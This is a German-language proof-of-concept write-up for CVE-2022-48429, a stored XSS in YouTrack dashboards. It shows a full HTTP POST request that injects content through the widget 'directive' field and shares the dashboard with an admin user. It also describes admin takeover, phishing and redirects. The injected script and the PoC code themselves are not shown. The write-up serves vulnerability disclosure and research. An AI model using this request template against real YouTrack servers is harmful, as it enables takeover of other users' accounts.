
PoC für CVE-2022-48429 - Youtrack stored XSS
Die gemeldete Beschreibung des CVE in der NVD-Datenbank ist ungenau. Dies ist eine genauere Beschreibung:
Youtrack (Version <= 2022.3.65373) hat ein gespeichertes Cross-Site Scripting (XSS) in Dashboards. Ein bösartiger Benutzer mit niedrigen Berechtigungen kann ein fehlerhaftes Dashboard erstellen und an andere Benutzer (z. B. Administratoren) senden. Dies kann zu einer Übernahme des Administratorkontos führen.
Ursprünglicher Autor: echo-devim
Bei der Untersuchung von Sicherheitsproblemen in Youtrack Version 2022.3.65373 fand ich ein XSS in Dashboards.
Ein nicht privilegierter Benutzer kann ein neues Dashboard mit einem bösartigen Widget erstellen, das injiziertes JavaScript enthält. Das Dashboard kann mit anderen Benutzern, wie Administratoren, geteilt werden, indem ihnen der bösartige Code gesendet wird.
Dieses XSS kann nur die angegebenen Benutzer angreifen und es ist wirklich einfach, das Opfer dazu zu bringen, das bösartige Dashboard zu öffnen. Tatsächlich wird das neue Dashboard auf der Startseite des Opfers angezeigt. Mir ist aufgefallen, dass die Sicherheitslücke seit Version 2021.4.38425 vorhanden ist, aber sie könnte älter sein.
Der anfällige Parameter ist "directive", wenn der Benutzer ein neues Widget hinzufügt.
Beispiel einer bösartigen Anfrage zum Injizieren des XSS:
POST /hub/api/rest/dashboards/39ecb0a3-4bb5-45de-9616-9945fd284886 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Windows x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/json;charset=utf-8
Content-Length: 1214
{"type":"DashboardJSON","id":"39ecb0a3-4bb5-45de-9616-9945fd284886","name":"testxss","owner":{"type":"user","id":"58a24bf5-53ad-4966-9b5d-63cb8dbfef0a","login":"test"},"data":{"widgets":[{"id":"youtrack-activities-widget","directive":"","grid":{"width":2,"height":2,"y":0,"x":0},"config":{"created":"2023-03-17T10:04:50.590Z","customWidgetConfig":{"filter":{"title":null,"query":"by: me","author":null,"categoriesIds":["IssueCreatedCategory","ProjectCategory","SummaryCategory","DescriptionCategory","CustomFieldCategory","AttachmentsCategory","LinksCategory","CommentsCategory"],"youTrack":{"id":"731f4f21-b0f9-42bd-9509-127b2d0585e1","homeUrl":"/"},"refreshPeriod":240}}}}]},"permission":"OWNER","access":"OWNER","favorite":true,"ordinal":0,"permissions":[{"type":"UserDashboardPermissionJSON","id":"42e794d7-0009-4b00-83f4-45991a0392f0","permission":"VIEW","user":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"},"personality":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a","name":"admin","login":"admin","profile":{"avatar":{"type":"defaultavatar","url":"http://localhost:8081/hub/api/rest/avatar/fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"}}}}]}
Dann haben wir nach dem Aktualisieren der Seite das XSS:

Dieses XSS kann es einem Benutzer mit niedrigen Berechtigungen ermöglichen, Phishing über gefälschte Anmeldeformulare durchzuführen, den Browser des Benutzers umzuleiten oder sogar Admin-Operationen auszuführen.
Noch schlimmer, wenn die Plattform die Benutzerregistrierung aktiviert hat, kann dies einem externen Angreifer ermöglichen, einen neuen Benutzer zu registrieren und den Angriff durchzuführen.
Als PoC habe ich einen Testbenutzer mit niedrigen Berechtigungen verwendet, um den vollständigen Namen des Administratorkontos zu ändern.
Code des PoC:
Dieses animierte GIF zeigt die Auswirkungen. Das linke Fenster zeigt die Seite des nicht privilegierten Benutzers und das rechte Fenster zeigt den Administrator.
